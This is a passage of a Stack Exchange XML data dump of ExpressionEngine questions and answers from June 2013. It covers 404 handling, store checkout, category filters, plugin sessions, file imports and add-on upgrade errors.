server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: This is def. related to PHP version 5.4.1 and EE version &amp;lt; 2.6 not sure if there's a fix or not?&lt;/p&gt;&#xA;" OwnerUserId="1606" LastEditorUserId="1606" LastEditDate="2013-06-05T01:19:46.980" LastActivityDate="2013-06-05T01:19:46.980" Title="Playa with Matrix field loop breaking on different environment" Tags="|matrix|playa|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10999" PostTypeId="1" AcceptedAnswerId="11001" CreationDate="2013-06-04T21:51:56.647" Score="0" ViewCount="109" Body="&lt;p&gt;How do I handle a 404 redirect when let's say I have a template group called &quot;about&quot; and a template in that group called &quot;leadership&quot; but someone types about/leaderships instead of about/leadership?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2013-06-05T02:44:51.013" Title="How to handle 404 with segment_2 misspelling" Tags="|404|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11000" PostTypeId="2" ParentId="10996" CreationDate="2013-06-04T22:03:52.393" Score="0" Body="&lt;p&gt;If you just paste all data into one single form field, is going to be really hard to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;to filter entries by this data;&lt;/li&gt;&#xA;&lt;li&gt;to format the presentation of the this data;&lt;/li&gt;&#xA;&lt;li&gt;to edit part of this data;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Imagine that one brand closes or change its name. How will you edit all stores at once? How will you list all stores by brand?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And copy/paste process isn't a good way to avoid possible human error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the best way is to use categories as brands and hire an backend developer, &lt;strong&gt;not a designer&lt;/strong&gt;, to code a program that grab the data and turns into categories.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-06-04T22:03:52.393" CommentCount="0" CommunityOwnedDate="2013-06-04T22:03:52.393" ContentLicense="CC BY-SA 3.0" />
  <row Id="11001" PostTypeId="2" ParentId="10999" CreationDate="2013-06-04T23:08:06.190" Score="1" Body="&lt;p&gt;The misspelt URL will fallback to your about/index template, so just put a simple...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2}{redirect=&quot;404&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... in that template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This assumes you don't need to use any arbitrary segment values in that template. If you do, or if you want to use the index template for multiple urls, then instead you should use a combination of the require_entry parameter of the channel entries tag and the no_results conditional on the inside of the tag to perform the redirect.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-06-04T23:08:06.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11002" PostTypeId="1" CreationDate="2013-06-04T23:30:20.423" Score="1" ViewCount="142" Body="&lt;p&gt;Before updating to latest EE version 2.6.1, setting title and url-title to new values + setting hidden input field with name &quot;entry_id&quot; to '' on a safecracker edit entry form would generate a clone. Now instead the new entry  simply overwrites the original one. What else is needed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being able to clone entries is a huge time saver, so I would really appreciate an answer on where to look to get this working again.&lt;/p&gt;&#xA;" OwnerUserId="1607" LastActivityDate="2013-06-11T22:41:18.447" Title="Safecracker How to clone entry after update to EE2.6.1" Tags="|safecracker|upgrade|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11004" PostTypeId="2" ParentId="10999" CreationDate="2013-06-05T02:44:51.013" Score="1" Body="&lt;p&gt;Assuming that you want a general solution for redirecting misspelt and non-existant url_titles in your url, you need to use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#require-entry&quot; rel=&quot;nofollow&quot;&gt;require_entry&lt;/a&gt; parameter in combination with a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#if-no-results&quot; rel=&quot;nofollow&quot;&gt;no_results conditional&lt;/a&gt; as James Smith suggested. Here's a simple example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;projects&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot;}&#xA;   {if no_results}{redirect=&quot;404&quot;}{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ryan Battles has written a good guide to &lt;a href=&quot;http://joviawebstudio.com/index_ee.php/blog/guide_to_404_pages_with_expressionengine/&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine 404 pages&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="975" LastActivityDate="2013-06-05T02:44:51.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11005" PostTypeId="1" CreationDate="2013-06-05T03:01:18.247" Score="1" ViewCount="88" Body="&lt;p&gt;I am hoping to use store with omnipay, as it has tokenized payments.  I am prepared to code the plugin for my particular payment gateway, but is exp-resso planning to use omnipay in future releases?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, when?&lt;/p&gt;&#xA;" OwnerUserId="1609" LastActivityDate="2013-08-04T10:54:51.010" Title="expresso store and omnipay" Tags="|expresso-store|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11006" PostTypeId="1" AcceptedAnswerId="11037" CreationDate="2013-06-05T03:34:28.500" Score="6" ViewCount="673" Body="&lt;p&gt;I am attempting to use Exp:resso Store to create a donation form on a single page. Ideally, the user will go to /donate and pick from a select-menu the donation cause (a custom order field), the amount they'd like to donate (which updates the quantity field on a product called &quot;Donation&quot; with a min price of $1), and all of the billing and credit card form fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since, the {exp:store:checkout} tag is not available unless there is an item in the cart, I've setup a form button that adds the product &quot;Donation&quot; to the cart when clicked and has a return to /donate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can't use a form button for every link to /donate (e.g. a link added in a paragraph that's managed via a WYSIWYG editor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way to go about this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate the help.&lt;/p&gt;&#xA;" OwnerUserId="1610" LastActivityDate="2013-07-07T18:56:03.673" Title="Exp:resso Store - Single Page Donate Checkout" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11007" PostTypeId="2" ParentId="11005" CreationDate="2013-06-05T10:13:09.147" Score="1" Body="&lt;p&gt;It's not quite as simple as that. Omnipay might support token payments, but Store itself doesn't. Even if you wrote your gateway for Omnipay, that wouldn't give you the ability to easily save credit cards and charge them with Store, there would still be a lot of database logic etc missing. So it depends entirely on what you are trying to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Justin mentioned, it's probably easier to contact support@exp-resso.com with questions like this so we can discuss what you are trying to do and the best way to approach it.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-06-05T10:13:09.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11008" PostTypeId="2" ParentId="9929" CreationDate="2013-06-05T10:21:50.873" Score="0" Body="&lt;p&gt;I had the same problem only it was &quot;ft.matrix_url_title.php&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am on 2.6.1 and Matrix 2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The weird thing was that it was ok on my local machine but not on my dev server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turns out that the db table exp_fieldtypes on the dev server had the field type name (&quot;name&quot; in the db column) as &quot;matrix_url_title&quot; whereas the local db had &quot;matrix&quot;. Once I changed the dev server db to matrix it worked. So there was obviously a conflict when upgrading either to 2.6.1 (from 2.4.0) or to Matrix 2.5.5.&lt;/p&gt;&#xA;" OwnerUserId="1072" LastActivityDate="2013-06-05T10:21:50.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11009" PostTypeId="2" ParentId="10386" CreationDate="2013-06-05T10:24:06.383" Score="1" Body="&lt;p&gt;I posted the below comment here: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9929/unable-to-load-requested-field-type-file-ft-rel-php/11008#11008&quot;&gt;Unable to load requested field type file: ft.rel.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had the same problem only it was &quot;ft.matrix_url_title.php&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am on 2.6.1 and Matrix 2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The weird thing was that it was ok on my local machine but not on my dev server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turns out that the db table exp_fieldtypes on the dev server had the field type name (&quot;name&quot; in the db column) as &quot;matrix_url_title&quot; whereas the local db had &quot;matrix&quot;. Once I changed the dev server db to matrix it worked. So there was obviously a conflict when upgrading either to 2.6.1 (from 2.4.0) or to Matrix 2.5.5.&lt;/p&gt;&#xA;" OwnerUserId="1072" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-06-05T10:24:06.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11010" PostTypeId="1" AcceptedAnswerId="11019" CreationDate="2013-06-05T11:43:13.697" Score="0" ViewCount="1321" Body="&lt;p&gt;I am building an EE plugin and need to store some information in a session. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I save and retrieve information from a session in an EE plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2013-06-05T14:02:10.200" Title="Creating session data in EE plugin" Tags="|php|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11011" PostTypeId="1" AcceptedAnswerId="11028" CreationDate="2013-06-05T12:23:29.380" Score="2" ViewCount="610" Body="&lt;p&gt;I am importing data using DataGrab and need to be able to link image files correctly in the File field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using this for the path to the image file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{filedir_1}myimage.jpg&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, it doesn't work. What is the correct way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the values I am uploading: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L6lfi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="258" LastEditorUserId="258" LastEditDate="2013-06-05T16:50:19.107" LastActivityDate="2013-06-05T16:50:19.107" Title="How do I import images to a File Field using DataGrab?" Tags="|file-uploads|import|datagrab|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11012" PostTypeId="1" AcceptedAnswerId="11015" CreationDate="2013-06-05T12:25:19.737" Score="0" ViewCount="111" Body="&lt;p&gt;I have a zoo visitor channel for all my members.  My zoo visitor has multiple category groups.  I am trying to create a category drop filter menu to filter the members by category.  In the drop menu I need each group name displayed and then all the categories:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie:&#xA;Filter by Category:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--Category Name A--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--Category Name B--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 2 categories I am using right now are group ID 39 and 41&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form name=&quot;catmenu&quot; action=&quot;&quot;&amp;gt;&#xA;  &amp;lt;select name=&quot;selcat&quot; onchange=&quot;location=document.catmenu.selcat.options[document.catmenu.selcat.selectedIndex].value;&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;&quot;&amp;gt;Filter by Category&amp;lt;/option&amp;gt;&#xA;  {exp:channel:categories cache=&quot;yes&quot; refresh=&quot;60&quot; channel=&quot;zoo_visitor&quot; disable=&quot;category_fields&quot; style=&quot;linear&quot;}&#xA;{if parent_id == '39'}{if count != '1'}&amp;lt;/optgroup&amp;gt;{/if}&amp;lt;optgroup label=&quot;{category_name}&quot;&amp;gt;{/if}&#xA;{if parent_id != '39'}&amp;lt;option value=&quot;{path='home/directory'}&quot;&amp;gt;{category_name}&amp;lt;/option&amp;gt;{/if}&#xA;  {/exp:channel:categories}&#xA; &amp;lt;/select&amp;gt;&#xA;&amp;lt;/form&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-06-05T12:55:57.523" Title="grouped category search" Tags="|categories|zoo-visitor|filter|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11014" PostTypeId="2" ParentId="11012" CreationDate="2013-06-05T12:51:04.160" Score="0" Body="&lt;p&gt;GWCode categories seems to be of some help.  Testing this right now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form name=&quot;catmenu&quot; action=&quot;&quot;&amp;gt;&#xA;  &amp;lt;select name=&quot;selcat&quot; onchange=&quot;location=document.catmenu.selcat.options[document.catmenu.selcat.selectedIndex].value;&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;&quot;&amp;gt;Filter by Riding&amp;lt;/option&amp;gt;&#xA;&amp;lt;optgroup label=&quot;Group 1&quot;&amp;gt;&#xA;{exp:gwcode_categories channel=&quot;zoo_visitor&quot; entry_count=&quot;yes&quot; group_id=&quot;39&quot; excl_group_id=&quot;41&quot; show_empty=&quot;no&quot; style=&quot;linear&quot;}&#xA;    &amp;lt;option value=&quot;{path=&quot;examplepath/{cat_url_title}&quot;}&quot;&amp;gt;{cat_name} ({entry_count})&amp;lt;/option&amp;gt; &#xA;{/exp:gwcode_categories}&#xA;&amp;lt;optgroup label=&quot;Group 2&quot;&amp;gt;&#xA;{exp:gwcode_categories channel=&quot;zoo_visitor&quot; entry_count=&quot;yes&quot; group_id=&quot;41&quot; excl_group_id=&quot;39&quot; show_empty=&quot;no&quot; style=&quot;linear&quot;}&#xA;    &amp;lt;option value=&quot;{path=&quot;examplepath/{cat_url_title}&quot;}&quot;&amp;gt;{cat_name} ({entry_count})&amp;lt;/option&amp;gt;&#xA;{/exp:gwcode_categories}&#xA;&#xA; &amp;lt;/select&amp;gt;&#xA;&amp;lt;/form&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-06-05T12:51:04.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11015" PostTypeId="2" ParentId="11012" CreationDate="2013-06-05T12:55:57.523" Score="1" Body="&lt;p&gt;You don't need addons for this. Try to use addons just when you really need them.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form name=&quot;catmenu&quot; action=&quot;&quot;&amp;gt;&#xA;  &amp;lt;select name=&quot;selcat&quot; onchange=&quot;location=document.catmenu.selcat.options[document.catmenu.selcat.selectedIndex].value;&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;&quot;&amp;gt;Filter by Category&amp;lt;/option&amp;gt;&#xA;    &amp;lt;optgroup label=&quot;group 39&quot;&amp;gt;&#xA;    {exp:channel:categories cache=&quot;yes&quot; refresh=&quot;60&quot; channel=&quot;zoo_visitor&quot; disable=&quot;category_fields&quot; style=&quot;linear&quot; category_group=&quot;39&quot; show_empty=&quot;no&quot;}&#xA;        &amp;lt;option value=&quot;{path='home/directory'}&quot;&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;    {/exp:channel:categories}&#xA;    &amp;lt;/optgroup&amp;gt;&#xA;    &amp;lt;optgroup label=&quot;group 41&quot;&amp;gt;&#xA;    {exp:channel:categories cache=&quot;yes&quot; refresh=&quot;60&quot; channel=&quot;zoo_visitor&quot; disable=&quot;category_fields&quot; style=&quot;linear&quot; category_group=&quot;41&quot; show_empty=&quot;no&quot;}&#xA;        &amp;lt;option value=&quot;{path='home/directory'}&quot;&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;    {/exp:channel:categories}&#xA;    &amp;lt;/optgroup&amp;gt;&#xA; &amp;lt;/select&amp;gt;&#xA;&amp;lt;/form&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-06-05T12:55:57.523" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11017" PostTypeId="1" CreationDate="2013-06-05T13:27:29.487" Score="1" ViewCount="141" Body="&lt;p&gt;I'm trying to upgrade to version 2.1.3 of Assets but during the update process it throws the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Database Error Occurred&#xA;Error Number: 1265&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Data truncated for column 'folder_id' at row 330&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ALTER TABLE exp_assets_files MODIFY COLUMN &lt;code&gt;folder_id&lt;/code&gt; INT(10) NOT NULL AFTER &lt;code&gt;file_id&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: third_party/assets/upd.assets.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 549&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Once this happens I have to restore the db to get the site running again. Is there a fix for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using EE2.6.1, PHP 5.4.14 and MySQL 5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dave.&lt;/p&gt;&#xA;" OwnerUserId="1612" LastActivityDate="2014-05-04T00:28:46.293" Title="Problems with Assets 2.1.3 when upgrading - throws db error" Tags="|assets|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11018" PostTypeId="1" CreationDate="2013-06-05T13:55:14.137" Score="2" ViewCount="323" Body="&lt;p&gt;I have a category select menu that will select a category from the zoo_visitor channel.  THis will then load a page with the selected category in segment_3.  Problem is the zoo_visitor members are not responding dynamically based on the category selected in segmetn_3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the select menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form name=&quot;catmenu&quot; action=&quot;&quot;&amp;gt;&#xA;  &amp;lt;select name=&quot;selcat&quot; onchange=&quot;location=document.catmenu.selcat.options[document.catmenu.selcat.selectedIndex].value;&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;&quot;&amp;gt;Filter by Riding&amp;lt;/option&amp;gt;&#xA;    &amp;lt;optgroup label=&quot;group 39&quot;&amp;gt;&#xA;    {exp:channel:categories cache=&quot;yes&quot; refresh=&quot;60&quot; channel=&quot;zoo_visitor&quot; disable=&quot;category_fields&quot; style=&quot;linear&quot; category_group=&quot;39&quot; show_empty=&quot;no&quot;}&#xA;        &amp;lt;option value=&quot;{path='Riding'}&quot;&amp;gt;{category_name} &amp;lt;/option&amp;gt;&#xA;    {/exp:channel:categories}&#xA;    &amp;lt;/optgroup&amp;gt;&#xA;    &amp;lt;optgroup label=&quot;group 41&quot;&amp;gt;&#xA;    {exp:channel:categories cache=&quot;yes&quot; refresh=&quot;60&quot; channel=&quot;zoo_visitor&quot; disable=&quot;category_fields&quot; style=&quot;linear&quot; category_group=&quot;41&quot; show_empty=&quot;no&quot;}&#xA;        &amp;lt;option value=&quot;{path='Riding'}&quot;&amp;gt;{category_name} &amp;lt;/option&amp;gt;&#xA;    {/exp:channel:categories}&#xA;    &amp;lt;/optgroup&amp;gt;&#xA; &amp;lt;/select&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this displays a url like: &lt;a href=&quot;http://domain.com/index.php/Riding/category/cat_name&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/index.php/Riding/category/cat_name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this template has the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:zoo_visitor:members limit=&quot;99&quot; member_group=&quot;5&quot; orderby=&quot;random&quot; dynamic_parameters=&quot;orderby|limit|sort|category|member_lastname&quot; status=&quot;Members-id5&quot; }&#xA; &amp;lt;h2&amp;gt;{visitor:member_firstname} {visitor:member_lastname}&amp;lt;/h2&amp;gt;&#xA;      &amp;lt;p&amp;gt;{visitor:member_level_of_government}&amp;lt;br /&amp;gt;&#xA;      Region: {categories show_group=&quot;42&quot;}{category_name}{/categories} &amp;lt;/p&amp;gt;&#xA;  {/exp:zoo_visitor:members}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Problem is ALL members from group_5 are displayed and not ONLY those have the segment_3 selected&lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="451" LastEditDate="2013-06-05T14:19:15.897" LastActivityDate="2014-02-10T03:29:03.383" Title="zoo visitor - display members based on category" Tags="|categories|zoo-visitor|dynamic|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11019" PostTypeId="2" ParentId="11010" CreationDate="2013-06-05T14:02:10.200" Score="1" Body="&lt;p&gt;The EE Session cache is for &quot;Flash&quot; content on page load, so useful for storing temporary data which will get wiped per page refresh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need it to store data via your templates, I'd highly recommend this add-on:&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/session-variables-plugin&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/session-variables-plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise you just want to utilise PHP sessions, here's some functions from one of my add-ons:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//###   Get the Session variable (Array) for this class   ###&#xA;public function get_session() {&#xA;    $this-&amp;gt;create_session();&#xA;&#xA;    if (!empty($_SESSION[$this-&amp;gt;class]))&#xA;        return $_SESSION[$this-&amp;gt;class];&#xA;    else&#xA;        return false;&#xA;}//###   End of get_session function   ###&#xA;&#xA;//###   Set the Session variable (Array) for this class   ###&#xA;public function set_session($value = &quot;&quot;) {&#xA;    $this-&amp;gt;create_session();&#xA;&#xA;    if (is_array($value))&#xA;        $_SESSION[$this-&amp;gt;class] = $value;&#xA;    else&#xA;        $_SESSION[$this-&amp;gt;class] = &quot;&quot;;&#xA;    return;&#xA;}//###   End of set_session function   ###&#xA;&#xA;public function create_session() {&#xA;    //###   Set up cookie storage for use with or without the www   ###&#xA;&#xA;    $this-&amp;gt;sessionID = session_id();&#xA;    if ($this-&amp;gt;sessionID == &quot;&quot; &amp;amp;&amp;amp; !headers_sent()) {&#xA;        $URL = $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('site_url', 1);&#xA;&#xA;        if (strpos($URL, &quot;www.&quot;) !== FALSE)&#xA;            $domain = substr($URL, strpos($URL, &quot;www.&quot;));&#xA;        else&#xA;            $domain = $URL;&#xA;&#xA;        if ($searchPos = strpos($domain, &quot;//&quot;))&#xA;            $domain = substr($domain, $searchPos+2);&#xA;        if ($searchPos = strpos($domain, &quot;/&quot;))&#xA;            $domain = substr($domain, 0, $searchPos);&#xA;        if ($searchPos = strpos($domain, &quot;:&quot;))&#xA;            $domain = substr($domain, 0, $searchPos);&#xA;        if (substr($domain, 0, 1) != '.')&#xA;            $domain = '.'.$domain;&#xA;&#xA;        //session_set_cookie_params(0, '/', $domain, false, true);&#xA;        setcookie(session_name(), session_id(), 0, '/', $domain, 0);&#xA;        setcookie(session_name(), session_id(), 0, '/', $domain, 1);&#xA;        session_start();&#xA;    }&#xA;} //###   End of create_session function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll need to set &lt;code&gt;$this-&amp;gt;class&lt;/code&gt; in the class or construct. You could extend it so the set added it as array elements, and get had a parameter for which element of the array to retrieve.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-06-05T14:02:10.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11020" PostTypeId="1" CreationDate="2013-06-05T14:03:50.707" Score="1" ViewCount="46" Body="&lt;p&gt;By 'stopped working', I mean that the prompt 'no rows exist yet - create the first one' appears, but clicking on it does nothing. Same for the '+' symbol - clicking on it does nothing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything was working up to this point, and I can still add values to other fields for that Channel. I was able to enter values into columns in this particular matrix fields until recently, plus select entries in other columns using the Playa fields. The templates were also successfully checking the Matrix column values. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Matrix field includes 3 Playa field types and 2 text. Have I just overloaded it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also - the site is in development. It's a friend's website and I'm not familiar with the web host. The site is running quite slowly, and there may be a problem with intermittent IP blocking. Could that kind of thing cause just one Channel field (the last field) to not respond? &lt;/p&gt;&#xA;" OwnerUserId="1614" LastActivityDate="2013-06-06T09:55:02.633" Title="my matrix field with 3 player columns, 2 text columns has stopped responding in edit" Tags="|matrix|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11021" PostTypeId="2" ParentId="10996" CreationDate="2013-06-05T14:04:08.747" Score="1" Body="&lt;p&gt;I would look at creating a channel to store the brands in and a channel to store the stores in. This way you can use the relationship fieldtype to link the pair together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave.&lt;/p&gt;&#xA;" OwnerUserId="1612" LastActivityDate="2013-06-05T14:04:08.747" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11022" PostTypeId="2" ParentId="10867" CreationDate="2013-06-05T14:07:22.007" Score="0" Body="&lt;p&gt;I implemented apc cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I stored the data apc_add($key, $value, 600); and fetch it $value = apc_fetch($key);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works like a dream.&lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2013-06-05T14:07:22.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11024" PostTypeId="2" ParentId="10136" CreationDate="2013-06-05T16:08:41.553" Score="3" Body="&lt;p&gt;To get the tag pair to work with EE 2.5.5 and PT Field Pack 1.0.3 you need to modify the ft.pt_checkboxes.php file and add has_array_data = true;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Pt_checkboxes_ft extends PT_Multi_Fieldtype {&#xA;&#xA;var $info = array(&#xA;    'name'     =&amp;gt; 'P&amp;amp;amp;T Checkboxes',&#xA;    'version'  =&amp;gt; PT_FIELD_PACK_VER&#xA;);&#xA;&#xA;var $class = 'pt_checkboxes';&#xA;&#xA;var $has_array_data = true;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1434" LastActivityDate="2013-06-05T16:08:41.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11025" PostTypeId="1" AcceptedAnswerId="11055" CreationDate="2013-06-05T16:11:47.437" Score="1" ViewCount="102" Body="&lt;p&gt;Has anyone had an instance like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Matrix field which contains a Safecracker File upload field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I upload a file via this (in the regular control panel) the file uploads but the name has the directory prepended to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say the file was called &quot;my_document.pdf&quot; and was uploaded to a directory named &quot;documents&quot; would be called &quot;documentsmy_document.pdf&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I have actually &quot;fixed&quot; this now but I don't know if my fix will cause problems further down the line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at ft.safecracker_file.php I figured that save method was to blame. Towards the end there is a ternary conditional that prefixes the upload directory name to the file. I've changed that line so it doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing:&#xA;    $output = ($data &amp;amp;&amp;amp; isset($this-&gt;settings['safecracker_upload_dir']) &amp;amp;&amp;amp; $data !== 'NULL') ? '{filedir_'.$this-&gt;settings['safecracker_upload_dir'].'}'.$data : '';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To:&#xA;    $output = ($data &amp;amp;&amp;amp; isset($this-&gt;settings['safecracker_upload_dir']) &amp;amp;&amp;amp; $data !== 'NULL') ? $data : '';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has 'solved' the issue for me but I'm unsure as to whether this was an intentional thing to avoid clashes of filenames that are in different directories - I can't really see how that could happen though. It all seems a bit odd.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-06-06T17:05:13.010" LastActivityDate="2013-06-07T09:18:39.570" Title="Safecracker prefixing directory name to uploaded file" Tags="|matrix|safecracker|file-uploads|filename|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
